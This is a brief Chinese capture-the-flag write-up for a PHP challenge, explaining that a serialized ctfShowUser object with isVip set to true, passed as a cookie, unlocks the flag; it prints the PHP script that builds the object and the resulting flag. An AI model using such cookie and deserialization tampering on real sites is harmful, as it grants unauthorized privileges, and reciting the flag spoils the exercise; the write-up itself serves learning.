封禅台-序列化（考点：$_COOKIE传参、序列化）

打开容器后发现就是一段php代码，先分析代码的意思，

就是传入两个参数用户名和密码，在网上搜索发现只要把isvip的只修改成TRUE即可，则生成序列化对象。

<?php
class ctfShowUser{
	public $isVip=true;
}
$a=serialize(new ctfShowUser());
echo $a;
?>

这就是cookie的值，则传入参数即可拿到flag。

flag{TZVIPTWODAYSCHONGYASHANIAO}